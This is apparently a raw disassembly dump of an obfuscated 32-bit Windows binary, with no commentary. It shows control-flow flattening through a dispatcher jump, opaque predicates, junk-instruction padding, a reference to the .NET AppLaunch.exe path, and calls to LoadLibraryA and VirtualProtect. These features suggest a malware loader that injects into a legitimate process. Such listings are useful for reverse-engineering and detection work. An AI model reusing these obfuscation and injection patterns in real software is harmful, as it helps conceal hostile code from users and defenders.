xor edx, 0x187fb265
or eax, edx
and edx, 0xc7ee2f95
and esi, 0x3811d06a
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xf5c4f41
mov ecx, eax
not ecx
and eax, 0x548bdda
and ecx, 0xfab74225
or ecx, eax
xor ecx, 0x548bdda
setne dl
sete ah
cmp dword [0x48f780], 0xa
setge ch
setl cl
mov al, ch
and cl, dl
xor al, ah
and ah, ch
or cl, ah
and al, ch
xor al, 1
xor cl, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
or al, cl
xor dl, 1
or dl, ah
xor dl, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x828d43d2
cmovne ecx, esi
test al, 1
mov eax, 0x828d43d2
cmovne eax, ecx
test dl, 1
cmovne eax, ecx
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x58070108
mov esi, ecx
and esi, 0x8550f6e2
mov edx, eax
and edx, 0x22a80815
and eax, 0x9e1359fd
or edi, edx
xor edi, 0x58070108
or esi, edi
mov edx, esi
not edx
and esi, 0xb099d35a
and edx, 0x4f662ca5
or esi, edx
mov edx, esi
xor edx, 0x8a16ca06
xor esi, 0x1c90518
and esi, 0x41e91558
and edx, 0xbe16eaa7
or edx, esi
mov esi, edx
xor esi, 0x9e1248a5
xor edx, 0x41e91558
mov edi, edx
or edx, ecx
and ecx, 0x61eca602
and edi, 0x61eca602
and esi, 0x9e1359fd
or esi, edi
or eax, ecx
not edx
mov edi, 0x3e52810d
xor eax, esi
mov esi, 0x247fc53
or edx, eax
mov eax, edx
not eax
and edx, 0x7f913773
and eax, 0x806ec88c
or edx, eax
xor edx, 0x7f913773
setne ch
sete ah
cmp dword [0x48f780], 0xa
setge cl
setl dl
mov al, cl
mov dh, cl
and ch, dl
and cl, ah
or dl, ah
xor al, ah
or cl, ch
or dh, ah
not al
xor cl, 1
and al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
mov ebx, eax
or al, dh
mov dl, cl
mov ah, cl
xor bl, dh
xor al, 1
xor dl, 1
or al, bl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
not cl
and cl, al
test dl, 1
mov eax, 0x247fc53
cmovne eax, edi
test cl, 1
cmove eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmovne eax, edi
jmp 0x401200
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 0x14]
add eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x144]
vzeroupper
call fcn.004326e0
add esp, 0xc
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x87511525
and ecx, 0x78aeeada
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x78aeeada
xor ecx, 0x87511525
xor eax, 0x87511524
and eax, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, eax
not edx
and eax, 0x619e7394
mov esi, edx
and esi, 0x9e618c6b
or eax, esi
mov esi, ecx
not esi
and ecx, 0x619e7394
or edx, esi
and esi, 0x9e618c6b
or ecx, esi
not edx
mov esi, 0x766f2af6
xor ecx, eax
or edx, ecx
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0x4b841292
and edx, 0xb47bed6d
or ecx, edx
xor ecx, 0x4b841292
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8d83332a
and ecx, 0x727cccd5
or eax, ecx
mov ecx, eax
xor ecx, 0xd82230a
xor eax, 0x60248491
and eax, 0xe02594b1
and ecx, 0x1fda6b4e
or ecx, eax
xor ecx, 0x1fda6b4e
sete ch
setne ah
cmp dword [0x48f780], 0xa
mov dh, ch
setl cl
setge dl
xor dh, cl
mov al, cl
and ch, dl
and cl, ah
or cl, ch
mov ch, dl
or dl, ah
or al, ah
and dh, ah
xor ch, ah
xor dl, 1
xor cl, 1
xor al, 1
or dl, ch
mov ah, cl
or al, dh
or cl, dl
xor ah, dl
xor al, 1
xor cl, 1
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xcf09b9ab
cmovne ecx, esi
test al, 1
mov eax, 0xcf09b9ab
jmp 0x4011f2
mov eax, dword [ebp - 0x38]
mov dword [eax], 0xa
mov eax, 0x7039605c
jmp 0x401200
mov eax, dword [ebp - 0x194]
vmovups ymm1, ymmword [0x43f1b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x43f1d0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
add eax, 0xfffffff8
mov dword [ecx], eax
imul ebx
rcr edi, 0x1d
sbb esi, 0x39
not ebx
rol edi, 0x48
neg esi
inc edx
neg esi
sbb edx, 0x5c
bswap ebx
ror edi, 0x88
mov edi, 0x6f
or esi, 0xe4
not eax
mov eax, 0x2c
ror eax, 0xf6
bswap esi
bswap eax
inc eax
imul esi
or esi, 0x5b
imul edx
dec edx
mov esi, 0x99
inc eax
rcl edi, 0x5c
inc edi
bswap edx
or ebx, 0x92
ror esi, 0xa
add edi, 0xa9
not eax
neg edx
not edx
rol eax, 0x7d
dec eax
not ebx
bswap eax
imul eax
dec ebx
mov ebx, 0x4c
not edi
rcl eax, 0xd9
ror edi, 0xaf
dec edi
dec eax
sub eax, 0x7a
ror esi, 0x8f
dec ebx
rol edi, 0x4c
bswap ebx
inc esi
rol edi, 0x76
inc edi
ror ebx, 0xd7
dec ebx
dec edi
bswap eax
bswap esi
bswap edx
sbb eax, 0xb2
dec eax
dec eax
not edx
mov eax, 0xf3
neg ebx
neg eax
add ebx, 0x4a
not edx
not edi
dec edx
neg esi
rol edi, 0x65
sbb esi, 0x36
inc ebx
inc ebx
not ebx
and edi, 0x80
neg ebx
sub edi, 0x30
and eax, 0x90
dec esi
bswap edx
neg edi
imul edx
not edi
or edx, 0x74
dec edi
rcr edx, 0x33
mov esi, 0x9b
imul esi
or ebx, 0x45
bswap edi
rcr eax, 0x2d
rcl edi, 0x89
bswap ebx
imul eax
dec edi
rcl edx, 0xfe
dec edx
inc esi
not edi
ror edi, 0x58
bswap edx
neg esi
and edx, 0x37
mov edx, 0x8a
rcl edx, 0x14
and edx, 0x35
not eax
bswap esi
neg edx
bswap edi
neg edx
or edi, 0x5c
rol esi, 0x58
rcr esi, 0xf6
dec edx
not edi
ror edi, 0x5c
inc edx
or edi, 0x44
or edi, 0xca
not eax
not edi
bswap esi
imul edx
imul ebx
not edi
sbb eax, 0xa4
add esi, 0x1c
or edi, 0x74
or esi, 0xa9
rcl esi, 0x3b
inc esi
add edx, 0x3e
not edi
rol ebx, 0xe0
sbb eax, 0xff
ror edx, 0xcd
inc edi
mov ebx, 0x29
rol esi, 0xa
rcl edi, 0xfe
or ebx, 0x2c
sub ebx, 0x18
or edi, 0xcd
sbb edi, 0xbc
rcr edi, 0xbb
not ebx
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, 0x24
mov dword [ecx], eax
sbb edx, 0x94
and edx, 0xf5
not esi
inc eax
ror ebx, 0x5e
ror esi, 0x32
mov edi, 0x59
not ebx
sub ebx, 0x52
sub edi, 0x2b
rcl edx, 6
not edi
dec eax
sub edi, 0x92
inc edi
imul ebx
bswap ebx
mov eax, 0xa6
imul edi
add eax, 0x9e
sub edx, 0x8d
and edi, 0xfb
ror eax, 0xb6
rcl esi, 0x5e
inc ebx
neg edx
sbb ebx, 0x75
and edi, 0xf4
add edx, 0xab
bswap edx
inc ebx
bswap ebx
not eax
sbb ebx, 8
not edi
mov ebx, 0x75
neg edx
mov eax, 0x53
neg ebx
mov eax, 0x23
imul edx
and edi, 0xb4
inc esi
sub eax, 0x21
rcr esi, 0xfc
dec ebx
inc edi
sub esi, 0x5d
inc eax
imul edx
ror eax, 0x50
bswap edi
mov edi, 0xbc
dec edx
or ebx, 0xc6
imul ebx
rol ebx, 0x49
and edx, 0x59
neg esi
add esi, 0x9e
neg eax
imul esi
inc eax
not esi
not ebx
dec edx
not ebx
not ebx
sbb esi, 0x41
dec ebx
neg eax
add esi, 0x12
sbb ebx, 0x8e
imul edx
dec ebx
add eax, 0xe4
rcl edi, 0xba
sbb eax, 0x39
or edi, 0x8a
dec esi
mov esi, 0x63
not edx
inc edx
neg edi
not edi
not edi
neg edx
mov eax, 0xdb
and ebx, 0x1f
dec eax
not eax
imul edx
sbb edx, 0x86
bswap eax
rcr eax, 0x3b
neg ebx
imul edi
neg ebx
and eax, 0xe3
or ebx, 0xa0
bswap eax
not eax
rcl edx, 0x61
rol ebx, 0x54
neg edx
imul edi
or esi, 0x68
rcl esi, 0x5c
imul edi
or eax, 0xb6
rol eax, 0xb6
add eax, 0xbe
imul edi
neg edx
neg edi
not eax
add esi, 0xd7
or ebx, 0xba
add esi, 0xd
imul ebx
add eax, 0x2c
and ebx, 0x3c
and edi, 0x62
rcr edx, 0x86
bswap ebx
inc edx
not eax
inc ebx
add eax, 0xdb
bswap edi
rcr ebx, 0xa6
mov esi, 0xb6
inc eax
inc ebx
imul edi
inc edx
or edx, 0xfb
rol eax, 0xee
add esi, 0xf2
ror edi, 0xa7
bswap edx
dec esi
imul eax
bswap esi
sbb esi, 0x49
not esi
dec edi
imul eax
not ebx
rcr esi, 0xc3
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x43f1e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x84]
setne byte [eax]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x84]
mov ecx, dword [0x48f784]
cmp byte [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0xb3]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xe3b79f22
mov edi, edx
mov esi, ecx
and esi, 0x341c303e
and edi, 0x84040c1
and edx, 0x42364098
or edi, esi
mov esi, eax
xor esi, 0x1c4860dd
and esi, eax
and eax, 0xbdc9bf67
mov ebx, esi
not ebx
and esi, 0xcbe3cfc1
or eax, edx
or ecx, ebx
and ebx, 0x341c303e
mov edx, eax
xor edx, 0xbdc9bf67
xor eax, 0x42364098
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x1c4860dc
and esi, 0xe3b79f23
or ecx, esi
mov esi, 0xa9f98f04
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete dl
setne cl
cmp dword [0x48f780], 0xa
mov dh, dl
setge al
setl ah
mov ch, al
xor dh, ah
and cl, ah
xor ch, dl
mov ah, dh
and ch, al
and al, dl
mov dl, dh
xor dl, 1
or al, cl
mov cl, dl
or al, ch
and cl, dh
mov ch, al
xor cl, 1
xor ch, 1
xor ah, cl
or cl, dh
xor cl, 1
or cl, ah
mov ah, cl
and cl, ch
xor ah, 1
and ah, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x2ad7304d
cmovne eax, esi
test cl, 1
mov ecx, 0x2ad7304d
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b0]
cmp ecx, dword [eax + 0x34]
mov eax, 0xfebd349
setne byte [ebp - 0xa6]
jmp 0x401200
mov eax, 0xc2b8133
jmp 0x401200
mov eax, dword [ebp - 0x204]
mov ecx, 0xc97f4021
cmp eax, 0xc
mov eax, 0x5250ee2d
cmove eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xd81b92f1
mov edx, ecx
and edx, 0xc00b9011
and eax, ecx
not ecx
and ecx, 0x181002e0
or edx, ecx
xor edx, 0xc00b9011
or eax, edx
mov ecx, eax
not ecx
and eax, 0xed587e62
and ecx, 0x12a7819d
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xb40108
xor edx, 0x3543ec93
xor eax, 0xf87e8fb5
and eax, edx
and ecx, 0x30b4e11a
and edx, 0xcf4b1ee5
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xcf4b1ee5
xor esi, 0xfd89823c
xor edx, 0x108002
and esi, ecx
and edx, 0xf1a94e6
or eax, esi
mov esi, eax
not esi
and eax, 0x84b5f4a4
and esi, 0x7b4a0b5b
or eax, esi
mov esi, ecx
and esi, 0xf0e56b19
and ecx, 1
or esi, edx
xor eax, 0x49889783
xor esi, 0xf1a94e7
or ecx, esi
mov esi, 0xec8f107d
not ecx
or ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x2e566744
and ecx, 0xd1a998bb
or edx, ecx
xor edx, 0x2e566744
or eax, edx
mov ecx, eax
not ecx
and eax, 0x50160e7e
mov edx, ecx
and edx, 0xafe9f181
or eax, edx
xor eax, 0xafe9f181
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov ch, dl
setl cl
setge al
and dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xec8f107d
mov al, ah
xor al, dl
test dl, dl
mov edx, 0xf4d98048
cmovne ecx, edx
test ah, 1
cmove ecx, esi
test al, 1
cmovne ecx, edx
mov eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xd0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, 0x124c70c5
jmp 0x401200
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x110], eax
push dword [ebp - 0x110]
push dword [ebp - 0x114]
push dword [ebp - 0x18]
push dword [ebp - 0x14]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, 0xa2c9e0d4
jmp 0x401200
mov eax, dword [ebp - 0x80]
mov dword [eax], section..data
imul ebx
imul edi
mov ebx, 0xf7
imul edx
or esi, 0x1f
rol edi, 0x94
not edi
ror edx, 0xb
rcl esi, 0x6f
bswap edx
and ebx, 0x31
dec esi
not edx
imul ebx
not eax
rcr eax, 0x18
neg edi
or esi, 0x5a
bswap esi
ror edi, 0x97
rcl edx, 5
and esi, 0x47
sbb esi, 0x62
mov eax, 0x81
neg edi
imul edi
not esi
rol edx, 0xcf
rol edi, 0xab
dec edi
sbb eax, 0xf0
and ebx, 0x48
inc esi
inc eax
neg edi
rol ebx, 0x1e
inc edx
sub ebx, 0xa4
or esi, 0xff
sbb esi, 0xd2
bswap edi
bswap edi
and ebx, 0x95
neg edx
imul eax
or edx, 0xee
rol edx, 0xe1
sbb ebx, 0xc5
imul ebx
dec eax
ror eax, 0x60
rol esi, 0x99
or ebx, 0x15
rcl ebx, 0x8f
inc edx
sub ebx, 0x9f
rol edi, 0xbc
sbb ebx, 0x80
imul edx
mov esi, 0xa1
sbb ebx, 0x6b
sbb edi, 0x19
imul eax
not edx
neg ebx
not edx
neg edx
mov edx, 0xeb
inc eax
sub esi, 0x8f
neg esi
sub edi, 0xc5
not edi
sbb eax, 6
dec edx
inc ebx
rol edi, 0xe1
imul edx
sbb ebx, 0x27
not eax
sub edi, 0xb3
sub edi, 0xfb
or edx, 0x22
ror ebx, 0xdd
neg edi
mov edi, 0xf1
neg esi
and eax, 0x41
neg ebx
add ebx, 0x5a
imul esi
neg edx
mov esi, 0x79
and esi, 0xb5
sbb eax, 0xcd
neg esi
mov ebx, 0x46
rcl edx, 9
neg ebx
and edi, 0xb3
not edx
imul esi
inc edi
neg ebx
rol edi, 0x20
sbb edi, 0x3c
mov ebx, 0x8f
not esi
not eax
add edx, 0x5d
add esi, 0x23
dec esi
rol edx, 0x68
neg eax
imul edx
ror edi, 0x4d
dec eax
rcr edx, 0x1a
rcl edi, 0x62
sbb ebx, 0x1d
rol edi, 0x2d
imul eax
dec esi
inc eax
sub esi, 0x69
mov eax, 0x4a
or edi, 0x9a
rcl edx, 0x8b
rol eax, 0x91
add edx, 0x6a
ror edi, 0xad
not edi
and edx, 4
neg esi
dec ebx
rol edx, 7
mov edx, 0x2c
and ebx, 0xd5
not esi
rcr edx, 0xf0
neg eax
dec ebx
inc ebx
imul ebx
sub esi, 0xa4
inc eax
ror esi, 0x46
rol edx, 0x8c
not edi
sub edi, 8
bswap ebx
ror ebx, 0x42
add ebx, 0xea
sub ebx, 0x2c
imul esi
rol edi, 0xd7
inc edx
mov edx, 0xfc
rcl eax, 0xff
neg esi
bswap eax
inc esi
or ebx, 0x2b
neg ebx
and ebx, 0xff
mov edi, 0xa4
add edx, 0x9e
ror esi, 0x3f
bswap edx
dec edx
sub ebx, 0x2a
imul eax
rcl edx, 0xe5
neg esi
rcl eax, 0xd4
or edi, 0xf3
bswap edx
dec edx
rcl esi, 0x4a
rcr edi, 0xc9
sbb esi, 0x4b
sbb edi, 0xe
sub edi, 0x3f
imul esi
neg eax
rcl ebx, 0x38
inc edx
mov edi, 0xc1
add edx, 0xee
ror eax, 0x35
rcr edx, 0xb3
inc edx
imul edx
neg edi
bswap esi
not edx
rol ebx, 0x5f
mov edx, 0x86
and ebx, 0x72
and edx, 0x4e
bswap eax
imul esi
or eax, 0x7f
mov edx, 0xa7
or edx, 0xec
ror ebx, 0xf3
or esi, 0x13
mov edx, 0xa
rcl esi, 0x8c
sbb esi, 0x6d
dec edx
rcr ebx, 0x56
imul esi
imul esi
dec esi
dec esi
inc ebx
inc edi
imul ebx
sbb eax, 0xa4
rcl edi, 0x4b
sub esi, 0x3f
add edx, 0x7e
imul esi
or esi, 0xcc
mov esi, 0x88
and edi, 0x82
rcr edi, 0xbf
rcr edx, 0xfb
dec ebx
rcl ebx, 0x75
bswap eax
mov edx, 0x3d
not ebx
bswap ebx
inc esi
sub esi, 0x91
bswap edx
and esi, 0xe
mov eax, 0xac
or ebx, 0xef
not edx
and edi, 0xdc
or ebx, 0x7f
add ebx, 0xf7
imul edx
mov ebx, 0xec
mov edx, 0x19
dec edi
inc esi
or esi, 0xce
rcr ebx, 0xbb
add edi, 0x69
sbb esi, 0xfd
rcl ebx, 0xd4
ror edi, 0x40
dec ebx
rol ebx, 0xe1
sub eax, 0xd6
and edi, 0x59
rcr ebx, 0x80
sbb eax, 0xa9
or edi, 0x8b
add edi, 0xcd
rcl eax, 0xe2
sbb edi, 0xd2
rol esi, 0x11
not ebx
neg esi
sub esi, 0x71
bswap edx
add edx, 0xa6
imul edi
bswap edx
and edx, 0xa9
neg edx
bswap esi
dec ebx
not ebx
inc eax
and edi, 0xa6
ror ebx, 0x4a
rcl edx, 0xe7
inc edx
inc esi
add eax, 0x69
neg edx
or ebx, 0xaa
rcr edi, 0xeb
bswap esi
dec esi
bswap edi
neg edi
mov esi, 0x8d
and eax, 0x30
mov edi, 0x3c
ror edx, 0xd6
inc edx
imul edx
neg ebx
sbb esi, 0xa0
inc eax
dec edi
ror esi, 0x67
dec edx
rol edx, 0x36
bswap edi
ror ebx, 0x74
sub edi, 0x23
add eax, 0xe0
neg esi
not ebx
sub edi, 0x66
add edx, 0x89
dec edi
imul edx
add ebx, 0x31
sub eax, 6
imul ebx
rol edx, 0xf8
rcl edx, 0x3e
dec edx
dec edi
sbb esi, 0xb6
ror ebx, 0x76
bswap ebx
ror esi, 0xc0
neg edi
dec ebx
imul esi
neg edi
neg edi
mov esi, 0xd3
inc edi
rcl edi, 0xe4
rcl esi, 0x74
neg ebx
rcl ebx, 0x4f
add edi, 0xa5
imul eax
rol eax, 0x14
bswap edx
dec ebx
neg eax
neg edx
not edx
not edi
dec eax
neg edi
dec edi
ror esi, 0x7a
bswap eax
ror esi, 0xc4
not edx
and eax, 0xf5
rol eax, 0x75
and edx, 0xc3
rol edi, 0xc0
add ebx, 0x61
mov eax, 0x78
add edi, 0x21
imul ebx
bswap esi
neg ebx
inc eax
rol esi, 0xf9
not edi
inc ebx
rol ebx, 0x49
ror ebx, 0xdd
neg edi
imul ebx
ror edi, 0x78
not edx
and ebx, 0x49
inc esi
sbb eax, 0x2d
not eax
dec edx
ror edi, 0x9a
rol esi, 0x79
inc edi
sbb eax, 0x4a
bswap edi
neg ebx
dec esi
inc edx
imul ebx
inc edi
not ebx
not edx
rcr edx, 0xc6
inc ebx
inc edx
sbb ebx, 0x50
rcr esi, 0xfd
neg esi
rol esi, 0x15
and edi, 0x45
sub ebx, 0x1f
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, 0x54b56e58
jmp 0x401200
cmp eax, 0xb0f5d4
jne 0x401200
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x28]
mov esi, dword [eax]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00431b70
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret